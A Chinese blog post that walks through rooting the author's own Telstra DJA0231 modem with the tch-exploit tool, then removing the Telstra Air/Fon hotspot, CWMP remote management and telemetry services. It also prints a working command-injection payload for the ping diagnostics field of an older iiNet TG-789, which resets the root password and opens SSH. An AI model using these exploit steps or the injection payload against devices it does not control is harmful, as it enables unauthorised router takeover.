如何去除Telstra路由器中的Telstra Air服务和Fon WiFi

手把手教你如何夺回Telstra 路由器的控制权并删除Telstra Air和Fon WiFi热点!顺手清理所有Telstra路由器中的冗余服务。

如何去除Telstra路由器中的Telstra Air服务和Fon WiFi
Photo by Stephen Phillips - Hostreviews.co.uk / Unsplash

Telstra Smart Modem Gen 2(DJA0231)关个Telstra Air实在是太难了!

我刚开始使用Telstra的时候就遇到过这个问题:新路由到手,家里莫名其妙多了一个Telstra Air+Fon WiFi的热点。我曾经无数次通过Telstra Dashboard关闭它,每次它都会显示"Deactivating..." 然后又!变!回!了!Active。我只在刚使用Telstra之初,找了无数次客服,通过Telstra Perth(我也不知道为什么莫名其妙转去了Perth)的Engineering Team成功关闭过一次。我至今都不知道是如何关闭的,只知道是和一个Engineer通话以后成功关闭了这个神坑服务。

最近改了套餐以后这个服务又被莫名其妙的再次激活了。我无数次联系过Telstra的客服,他们真的只会说:

  • 我帮你关了(其实并没有)
  • 已经关了我看到工单了(那个单子没有关啊大哥)
  • 我又帮你关了一次(完全没有)
  • 我帮你问上级(然后杳无音讯)
  • 你这个服务没办法关闭(那你第一次怎么关的??)

0x00 关不掉的Telstra Air

本来想说忍忍算了,但是因为我多数时候在桥接模式使用Telstra Smart Modem Gen 2(DJA0231),它近距离同时和我桥接的Asus工作会明显的干扰到正常的WiFi使用(抢频段问题),IoT设备尤其明显。

事实上,就算我像大多数人一样直接使用Telstra给的路由器不做桥接,依然会对正常使用产生一定的干扰,游戏/视频通话突然的卡顿很多时候都和Telstra Air的访客接入有关。尤其是你在无线高负载访问内网用NAS,又或者链路质量一般你在接近满载跑WAN的时候有人连了你路由的Telstra Air——在用户路由器上加载这种服务(还关不掉!)真的就是丧心病狂的设计。

0x01 我黑我自己

做了一下功课,Telstra Smart Modem Gen 2(DJA0231)是属于相对比较容易root的Modem。

常见的漏洞及Hack方式在 hack-technicolor 有很全面的总结。以DJA0231为例,能通过已知漏洞中的tch-exploit方式入侵。

1. 手动设置自己的IP为Static IP:

IPv4 Address: 58.162.0.1
Subnet Mask: 255.255.255.0
Default Gateway\Router: 58.162.0.1

2. 准备tch-exploit工具(假设你已经安装了nodejs):

# 从github下载tch-exploit
git clone https://github.com/BoLaMN/tch-exploit.git
cd tch-exploit

# <你现在在tch-exploit文件夹根目录>
# 安装dependency+compile
npm install pkg coffee-script -g
npm install
npm run compile 
npm run package

# 工具就绪 - 东西都在release文件夹里了,win/mac/linux全平台支持
cd release

3. (推荐)reset一次(恢复出厂设置)。因为你如果你在bridge模式下,该root工具无法正常运作。

4. 网线接路由器的WAN口(土澳这些Modem WAN大部分是红色的),注意不是LAN口。逻辑是我们要假装自己是服务器利用DHCP+远程管理漏洞(CWMP),所以你要让Modem认为你是它的上游ISP服务器,所以做这一步的时候千万别接到了LAN口。

5. 用管理员权限(Linux/Mac下请sudo)执行release文件夹下的可执行文件,然后开始等待,大概1分钟左右开始出现滚屏,再1分钟左右提示按下WPS按钮5s左右,看到屏幕信息提示成功就完成了。

这个流程如果有问题,可以参考:https://github.com/BoLaMN/tch-exploit#full-example-with-windows-and-technicolor-dja0231

到此处,把网线插回LAN口+本机获得ip方式改回dynamic IP/Auto DHCP就大功告成了。

ssh [email protected]
# 密码也是root就能进去了

# 如果不行(新系统可能会提示KexAlgorithm不支持),请尝试下方命令连接:
ssh [email protected] -oKexAlgorithms=+diffie-hellman-group1-sha1

# 登录进去第一件事把默认密码改了
passwd root

# 确保SSH只开放给LAN口用户(否则就分分钟公网爆破了)
uci set dropbear.wan.enable='0'
uci commit dropbear

0x02 删除Telstra Air和Fon WiFi

在Telstra制定的固件中,这两项服务主要以 /etc/init.d/hotspotd来提供服务。Root以后执掌一切生杀大权,赶紧杀了这个服务助助兴。

# 依次执行下方所有命令关闭Telstra Air和Fon WiFi
/etc/init.d/hotspotd stop
/etc/init.d/hotspotd disable
uci delete dhcp.hotspot
uci delete dhcp.fonopen
uci commit
Source: https://hack-technicolor.readthedocs.io/en/stable/Hardening/

杀完以后进入后台你会发现这两服务都黑了:

0x03 删除监控和奇怪的预留访问(后门?)

我摸索了一下发现一件有意思的事情:

/etc/dropbear/authorized_keys

DJA0231的固件是基于Openwrt的(事实上大部分NBN的Modem固件都是基于Openwrt的)。Dropbear包提供SSH服务(相当于常见Linux发行版的OpenSSH),遵循同样的逻辑我下意识看了一下 /etc/dropbear/authorized_keys 文件,直接好家伙,里面预留了一个TCH Debug Key和一个未知用途/来源的key。

第一个Key我假设是Technicolor粗心忘记删除了开发时候用的key好了,第二个Key是什么操作我真的不明白。我root过iiNet的另一个ISP Modem(见下节),其中是没有任何预授权Key的。

这种预留Auth Key的操作,要放在其他国内品牌被挖出来早就炸锅了。

除了这个坑以外,大家有否觉得奇怪为什么你在Telstra App当中查看连接路由的设备的时候iOS系统不给LAN权限它依然能获得完整的app列表?像这个功能:

Telstra莫名其妙的View my devices功能

既然Root了直接按照hack-technicolor的指南清理一波:

# 关闭 CWMP
uci delete cwmpd.cwmpd_config
uci delete firewall.cwmpd
uci del_list watchdog.@watchdog[0].pidfile='/var/run/cwmpd.pid'
uci del_list watchdog.@watchdog[0].pidfile='/var/run/cwmpevents.pid'
uci commit
/etc/init.d/watchdog-tch reload
/etc/init.d/cwmpd disable
/etc/init.d/cwmpd stop
/etc/init.d/cwmpdboot disable
/etc/init.d/cwmpdboot stop
# 关闭zkernelpanic(DJA0231最新的固件好像会报错不用管他)
/etc/init.d/zkernelpanic disable
/etc/init.d/zkernelpanic stop

# 关闭 CWMP 加强版 可能会报错但是不用管
uci set cwmpd.cwmpd_config.state=0
uci set cwmpd.cwmpd_config.acs_url='https://127.0.1.1:7547/'
uci set cwmpd.cwmpd_config.use_dhcp=0
uci set cwmpd.cwmpd_config.interface=loopback
uci set cwmpd.cwmpd_config.enforce_https=1
uci commit cwmpd

# 关闭 Telstra 的wifi/监控系统 - 真的我什么设备连接关你什么事啊
uci delete tls-vsparc.Config
uci delete tls-vsparc.Passive
uci delete autoreset.vsparc_enabled
uci delete autoreset.thor_enabled
uci delete wifi_doctor_agent.acs
uci delete wifi_doctor_agent.config
uci delete wifi_doctor_agent.as_config
uci commit
https://hack-technicolor.readthedocs.io/en/stable/Hardening/

清理完成以后,你再在app当中尝试这个功能,应该会获得以下提示:

提示说功能无法正常使用。说明这些冗余的监控应该是被清理掉了。

0x04 所以这些ISP路由有多脆弱?

有一说一,Telstra的Telstra Smart Modem Gen 2(DJA0231)在最新固件的加持下已经是相对安全的了。我倒腾了一下手头iiNet的ISP老Modem(TG-789),真的从连上到获得root不超过10s

  1. 你连上运行老固件的TG-789(我的固件好像是17年的)
  2. 找到 Diagnostics,ping的目标输入:
:::::::;echo root:root | chpasswd; dropbear -p 6666;
https://github.com/mswhirl/autoflashgui

3. 好了用户名root,密码root,端口6666,去登录吧(来自 autoflashgui 的方案)

(不要问我为什么,我也不知道为什么iiNet那时候用了一个Demo build部署给了我的Modem,我拿到就是这样的)

所以如果你的ISP路由器有漏洞,简单的入侵并不是遥不可及的,也未必需要物理接触Modem。

0x05 一点建议

  1. 尽可能不要直接使用ISP送的路由器,你需要一个自己的路由器。
    部署网络的时候建议桥接连自己的路由器 Double NAT(把自己的路由器作为客户端挂载在Modem LAN口,然后把这个唯一的客户端设置成DMZ)
  2. 不要过于乐观的假设自己的网络环境是安全的(我在家使用家里的WiFi所以我是安全的),有条件的还是得挂上VPN。
  3. 没条件的尽可能做到DNS都上DoT/DoH+能HTTPS就HTTPS。路由一旦被入侵,没有加密的http流量在路由这一侧就是透明的。什么局域网登录个NAS都是什么账号密码、访问过哪些网站(DNS如果是不加密的就能记录所有访问结果了)。